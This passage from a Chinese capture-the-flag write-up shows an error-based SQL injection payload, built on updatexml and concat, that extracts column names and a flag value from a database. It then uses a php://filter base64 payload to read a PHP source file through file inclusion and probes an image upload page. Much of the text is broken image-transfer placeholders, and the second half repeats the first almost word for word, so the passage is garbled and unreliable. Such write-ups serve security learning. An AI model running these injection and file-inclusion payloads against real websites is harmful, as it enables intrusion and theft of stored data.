# 查字段 ?id=1’ and updatexml(1,concat(’~’,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘flag2’),’~’),3) %23
# 查数据 ?id=1’ and updatexml(1,concat(’~’,(select flag2 from flag2),’~’),3) %23
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AA9uznTX-1593143273966)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image106.gif)]
*(41)php_encrypt_1
(42)文件包含
看到地址有file所以想到有文件包含利用漏洞+php协议
原理:利用php://filter协议读取文件,payload
php://filter/read=convert.base64.encode/resource=index.php
这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然而页面显示了naive,过分哦!!!
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CnPTtEAR-1593143273967)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image108.gif)]
发现了upload.php这个页面,文件上传
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TZs4hw5D-1593143273968)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image110.gif)]
抓包看看有没有限制,只能上传图片,文件不能大于100K
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H9kCf4ed-1593143273969)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image112.gif)]
成功上传,但是访问路径什么都没有,所以构造payload访问
//查看目录中有什么文件[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VO8kaGPa-1593143273970)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image114.gif)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ifif8sPp-1593143273971)(file:///C:/Users/HP/AppData/Local/Temp/msohtmlclip1/01/clip_image116.gif)]
file所以想到有文件包含利用漏洞+php协议
原理:利用php://filter协议读取文件,payload
php://filter/read=convert.base64.encode/resource=index.php
这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然而页面显示了naive,过分哦!!!
[外链图片转存中…(img-CnPTtEAR-1593143273967)]
发现了upload.php这个页面,文件上传
[外链图片转存中…(img-TZs4hw5D-1593143273968)]
抓包看看有没有限制,只能上传图片,文件不能大于100K
[外链图片转存中…(img-H9kCf4ed-1593143273969)]
成功上传,但是访问路径什么都没有,所以构造payload访问
//查看目录中有什么文件[外链图片转存中…(img-VO8kaGPa-1593143273970)]
[外链图片转存中…(img-ifif8sPp-1593143273971)]